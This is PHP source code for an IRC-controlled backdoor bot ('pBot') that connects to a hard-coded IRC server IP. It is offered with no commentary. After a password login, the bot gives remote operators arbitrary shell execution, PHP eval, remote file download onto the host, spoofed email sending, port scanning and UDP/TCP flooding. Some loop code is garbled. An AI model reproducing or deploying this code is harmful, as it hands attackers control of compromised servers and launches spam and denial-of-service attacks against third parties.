?>"213.134.126.10", "port"=>8889, "pass"=>"", "prefix"=>"chaos|", "maxrand"=>8, "chan"=>"#chaos", "key"=>"", "modes"=>"+iB-x", "password"=>"chaos", "trigger"=>".", "hostauth"=>"*" // * for any hostname ); var $users = array(); function start() { if(!($this->conn = fsockopen($this->config['server'],$this->config['port'],$e,$s,30))) $this->start(); $ident = ""; $alph = range("a","z"); for($i=0;$i<$this->config['maxrand'];$i++) $ident .= $alph[rand(0,25)]; if(strlen($this->config['pass'])>0) $this->send("PASS ".$this->config['pass']); $this->send("USER $ident 127.0.0.1 localhost :$ident"); $this->set_nick(); $this->main(); } function main() { while(!feof($this->conn)) { $this->buf = trim(fgets($this->conn,512)); $do = explode(" ",$this->buf); if(substr($this->buf,0,6)=="PING :") { $this->send("PONG :".substr($this->buf,6)); } if(isset($do[1]) && $do[1] =="001") { $this->send("MODE ".$this->nick." ".$this->config['modes']); $this->join($this->config['chan'],$this->config['key']); } if(isset($do[1]) && $do[1]=="433") { $this->set_nick(); } if($this->buf != $old_buf) { $mdo = array(); $msg = substr(strstr($this->buf," :"),2); $msgdo = explode(" ",$msg); $nick = explode("!",$do[0]); $vhost = explode("@",$nick[1]); $vhost = $vhost[1]; $nick = substr($nick[0],1); $host = $do[0]; if($msgdo[0]==$this->nick) { for($i=0;$i2) { switch($do[1]) { case "QUIT": if($this->is_logged_in($host)) { $this->log_out($host); } break; case "PART": if($this->is_logged_in($host)) { $this->log_out($host); } break; case "PRIVMSG": if(!$this->is_logged_in($host) && ($vhost == $this->config['hostauth'] || $this->config['hostauth'] == "*")) { if(substr($mdo[0],0,1)==".") { switch(substr($mdo[0],1)) { case "login": if($mdo[1]==$this->config['password']) { $this->privmsg($this->config['chan'],"[\2auth\2]: $nick logged in"); $this->log_in($host); } else { $this->privmsg($this->config['chan'],"[\2auth\2]: Incorrect password from $nick"); } break; } } } elseif($this->is_logged_in($host)) { if(substr($mdo[0],0,1)==".") { switch(substr($mdo[0],1)) { case "restart": $this->send("QUIT :restart"); fclose($this->conn); $this->start(); break; case "mail": //mail to from subject message if(count($mdo)>4) { $header = "From: <".$mdo[2].">"; if(!mail($mdo[1],$mdo[3],strstr($msg,$mdo[4]),$header)) { $this->privmsg($this->config['chan'],"[\2mail\2]: Unable to send"); } else { $this->privmsg($this->config['chan'],"[\2mail\2]: Message sent to \2".$mdo[1]."\2"); } } break; case "dns": if(isset($mdo[1])) { $ip = explode(".",$mdo[1]); if(count($ip)==4 && is_numeric($ip[0]) && is_numeric($ip[1]) && is_numeric($ip[2]) && is_numeric($ip[3])) { $this->privmsg($this->config['chan'],"[\2dns\2]: ".$mdo[1]." => ".gethostbyaddr($mdo[1])); } else { $this->privmsg($this->config['chan'],"[\2dns\2]: ".$mdo[1]." => ".gethostbyname($mdo[1])); } } break; case "info": $this->privmsg($this->config['chan'],"[\2info\2]: [\2httpd\2: ".$_SERVER['SERVER_SOFTWARE']."] [\2docroot\2: ".$_SERVER['DOCUMENT_ROOT']."] [\2domain\2: ".$_SERVER['SERVER_NAME']."] [\2admin\2: ".$_SERVER['SERVER_ADMIN']."] [\2url\2:".$_SERVER['REQUEST_URI']."]"); break; case "do": if(isset($mdo[1])) { $command = substr(strstr($msg,$mdo[0]),strlen($mdo[0])+1); $pipe = popen($command,"r"); while(!feof($pipe)) { $pbuf = trim(fgets($pipe,512)); if($pbuf != NULL) $this->privmsg($this->config['chan']," : $pbuf"); } pclose($pipe); } break; case "rndnick": $this->set_nick(); break; case "raw": $this->send(strstr($msg,$mdo[1])); break; case "php": $eval = eval(substr(strstr($msg,$mdo[1]),strlen($mdo[1]))); break; case "do2": $command = substr(strstr($msg,$mdo[0]),strlen($mdo[0])+1); $do2 = shell_do2($command); $ret = explode("\n",$do2); for($i=0;$iprivmsg($this->config['chan']," : ".trim($ret[$i])); break; case "pscan": // .pscan 127.0.0.1 6667 if(count($mdo) > 2) { if(fsockopen($mdo[1],$mdo[2],$e,$s,15)) $this->privmsg($this->config['chan'],"[\2pscan\2]: ".$mdo[1].":".$mdo[2]." is \2open\2"); else $this->privmsg($this->config['chan'],"[\2pscan\2]: ".$mdo[1].":".$mdo[2]." is \2closed\2"); } break; case "ud.server": // .udserver [password] if(count($mdo)>2) { $this->config['server'] = $mdo[1]; $this->config['port'] = $mdo[2]; if(isset($mcmcd[3])) { $this->config['pass'] = $mdo[3]; $this->privmsg($this->config['chan'],"[\2update\2]: Changed server to ".$mdo[1].":".$mdo[2]." Pass: ".$mdo[3]); } else { $this->privmsg($this->config['chan'],"[\2update\2]: Changed server to ".$mdo[1].":".$mdo[2]); } } break; case "download": if(count($mdo) > 2) { if(!$fp = fopen($mdo[2],"w")) { $this->privmsg($this->config['chan'],"[\2download\2]: Cannot download, permission denied."); } else { if(!$get = file($mdo[1])) { $this->privmsg($this->config['chan'],"[\2download\2]: Unable to download from \2".$mdo[1]."\2"); } else { for($i=0;$i<=count($get);$i++) { fwrite($fp,$get[$i]); } $this->privmsg($this->config['chan'],"[\2download\2]: File \2".$mdo[1]."\2 downloaded to \2".$mdo[2]."\2"); } fclose($fp); } } break; case "die": $this->send("QUIT :die command from $nick"); fclose($this->conn); exit; case "logout": $this->log_out($host); $this->privmsg($this->config['chan'],"[\2auth\2]: $nick logged out"); break; case "udp": if(count($mdo)>4) { $this->udp($mdo[1],$mdo[2],$mdo[3],$mdo[4]); } break; case "tcp": if(count($mdo)>5) { $this->tcp($mdo[1],$mdo[2],$mdo[3],$mdo[4],$mdo[5]); } break; } } } break; } } } $old_buf = $this->buf; } $this->start(); } function send($msg) { fwrite($this->conn,"$msg\r\n"); } function join($chan,$key=NULL) { $this->send("JOIN $chan $key"); } function privmsg($to,$msg) { $this->send("PRIVMSG $to :$msg"); } function is_logged_in($host) { if(isset($this->users[$host])) return 1; else return 0; } function log_in($host) { $this->users[$host] = true; } function log_out($host) { unset($this->users[$host]); } function set_nick() { if(isset($_SERVER['SERVER_SOFTWARE'])) { if(strstr(strtolower($_SERVER['SERVER_SOFTWARE']),"apache")) $this->nick = "[NIX]"; elseif(strstr(strtolower($_SERVER['SERVER_SOFTWARE']),"iis")) $this->nick = "[WIN]"; elseif(strstr(strtolower($_SERVER['SERVER_SOFTWARE']),"xitami")) $this->nick = "[SUN]"; else $this->nick = "[BSD]"; } else { $this->nick = "[C]"; } $this->nick .= $this->config['prefix']; for($i=0;$i<$this->config['maxrand'];$i++) $this->nick .= mt_rand(0,9); $this->send("NICK ".$this->nick); } function udp($host,$packets,$packetsize,$delay) { $this->privmsg($this->config['chan'],"[\2udp\2]: Sending $packets packets to $host. Packet size: $packetsize"); $packet = ""; for($i=0;$i<$packetsize;$i++) $packet .= chr(mt_rand(1,256)); for($i=0;$i<$packets;$i++) { if(!$fp=fsockopen("udp://".$host,mt_rand(0,6000),$e,$s,5)) { $this->privmsg($this->config['chan'],"[\2udp\2]: Error: <$e>"); return 0; } else { fwrite($fp,$packet); fclose($fp); } sleep($delay); } $this->privmsg($this->config['chan'],"[\2udp\2]: Finished sending $packets packets to $host."); } function tcp($host,$packets,$packetsize,$port,$delay) { $this->privmsg($this->config['chan'],"[\2tcp\2]: Sending $packets packets to $host:$port. Packet size: $packetsize"); $packet = ""; for($i=0;$i<$packetsize;$i++) $packet .= chr(mt_rand(1,256)); for($i=0;$i<$packets;$i++) { if(!$fp=fsockopen("tcp://".$host,$port,$e,$s,5)) { $this->privmsg($this->config['chan'],"[\2tcp\2]: Error: <$e>"); return 0; } else { fwrite($fp,$packet); fclose($fp); } sleep($delay); } $this->privmsg($this->config['chan'],"[\2tcp\2]: Finished sending $packets packets to $host:$port."); } } $bot = new pBot; $bot->start(); ?>